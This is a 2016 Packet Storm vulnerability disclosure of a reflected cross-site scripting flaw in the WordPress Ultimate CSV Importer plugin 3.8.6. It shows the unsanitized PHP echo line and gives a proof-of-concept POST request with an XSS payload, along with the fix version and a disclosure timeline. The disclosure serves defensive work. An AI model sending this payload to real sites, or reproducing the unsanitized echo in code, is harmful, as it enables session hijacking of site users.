WordPress Ultimate CSV Importer 3.8.6 Cross Site Scripting

2016-01-27T00:00:00
ID PACKETSTORM:135420
Type packetstorm
Reporter Rahul Pratap Singh
Modified 2016-01-27T00:00:00

Description

                                        
                                            `## FULL DISCLOSURE  
  
#Product : WP-Ultimate CSV Importer  
#Exploit Author : Rahul Pratap Singh  
#Version : 3.8.6  
#Home page Link : https://wordpress.org/plugins/wp-ultimate-csv-importer  
<https://wordpress.org/plugins/wp-ultimate-csv-importer</a><br>#Website>  
#Website : 0x62626262.wordpress.com  
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94  
#Date <https://in.linkedin.com/in/rahulpratapsingh94<br>#Date> :  
27/Jan/2016  
  
XSS Vulnerability:  
  
Description:  
"alertmsg" parameter is not sanitized that leads to reflected XSS.  
  
Vulnerable Code:  
File Name: /wp-ultimate-csv-importer/index.php  
  
Found at line:256  
echo __($_POST['alertmsg'],'wp-ultimate-csv-importer');  
  
Exploit:  
POST /wp-admin/admin-ajax.php  
  
action=trans_alert_str&alertmsg=<input+type%3Dtext+onclick%3Dalert(%2FXSS%2F)>  
  
POC:  
https://0x62626262.files.wordpress.com/2016/01/wp-ultimate-csv-importerxsspoc.png  
  
Fix:  
Update to 3.8.8  
  
Vulnerability Disclosure Timeline:  
→ January 14, 2015 – Bug discovered, initial report to Vendor  
→ January 14, 2015 – Vendor acknowledged and scheduled a fix  
→ January 18, 2015 – Reported to wordpress  
→ January 19, 2015 – WordPress Response, plugin taken down  
→ January 26, 2015 – Vendor Deployed a Patch  
  
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Pub Ref:  
https://0x62626262.wordpress.com/2016/01/26/wp-ultimate-csv-importer-xss-vulnerability/  
https://wordpress.org/plugins/wp-ultimate-csv-importer/changelog/  
<https://wordpress.org/plugins/wp-ultimate-csv-importer/changelog/</a></p><br>[+]>  
  
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